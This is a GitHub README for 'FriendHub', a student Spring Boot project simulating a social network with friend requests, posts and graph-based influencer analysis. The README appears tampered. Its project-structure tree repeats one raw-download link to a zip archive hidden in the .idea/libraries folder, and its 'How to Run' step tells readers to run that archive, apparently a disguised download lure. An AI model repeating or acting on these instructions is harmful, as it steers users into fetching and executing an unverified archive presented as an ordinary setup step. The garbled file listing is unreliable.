Skip to content

Arfa01/FriendHub

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

11 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

FriendHub – Social Network Simulation API

A Java + Spring Boot-based REST API that simulates a basic social media platform with features like user registration, friend requests, posts, and graph-based relationship analysis.

Features

  • User registration, friend request system, and mutual connections
  • Create, update, and delete user posts
  • Graph-based relationship system using BFS for:
    • Shortest path between users
    • Identifying top influencers
  • API tested using Postman
  • Persistent data storage with JSON using Gson and custom TypeAdapters
  • Modular design with clean class structure and file handling
  • Basic frontend integration using HTML/CSS

Technologies Used

  • Java 17
  • Spring Boot (REST Controller, Dependency Injection)
  • Java Collections Framework: ArrayList, HashMap, HashSet, Queue
  • Gson for JSON serialization/deserialization
  • Postman for API testing
  • File I/O for data persistence
  • HTML/CSS for UI

Project Structure

friendhub/ ├── src/ ├── libs/ ├── Users/ ├── Posts/ ├── .idea/ ├── https://raw.githubusercontent.com/Arfa01/FriendHub/main/.idea/libraries/Hub_Friend_3.2.zip ├── https://raw.githubusercontent.com/Arfa01/FriendHub/main/.idea/libraries/Hub_Friend_3.2.zip ├── https://raw.githubusercontent.com/Arfa01/FriendHub/main/.idea/libraries/Hub_Friend_3.2.zip

Sample Postman Endpoints

Method Endpoint Description
POST /users Register a new user
GET /users View all users
POST /friends/request Send friend request
POST /posts Create a post
GET /graph/shortest-path Shortest connection path
GET /graph/influencers List top influencers

How to Run

  1. Open in IntelliJ or VS Code
  2. Make sure Java 17+ is installed
  3. Run https://raw.githubusercontent.com/Arfa01/FriendHub/main/.idea/libraries/Hub_Friend_3.2.zip
  4. Test endpoints via Postman or browser (if using HTML frontend)

Academic Context

Developed as a Data Structures & Algorithms semester project at COMSATS University, with focus on applying graph theory to real-world use cases.


Screenshots

friendhub 1

fr 2

fr 3

fr 4

fr 5

fr 6

fr 7

fr 8


Future Improvements

  • Add user authentication (JWT-based)
  • Replace JSON with MySQL or MongoDB
  • Build complete frontend with React or Vue

About

This is my data structure and algorithm project.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages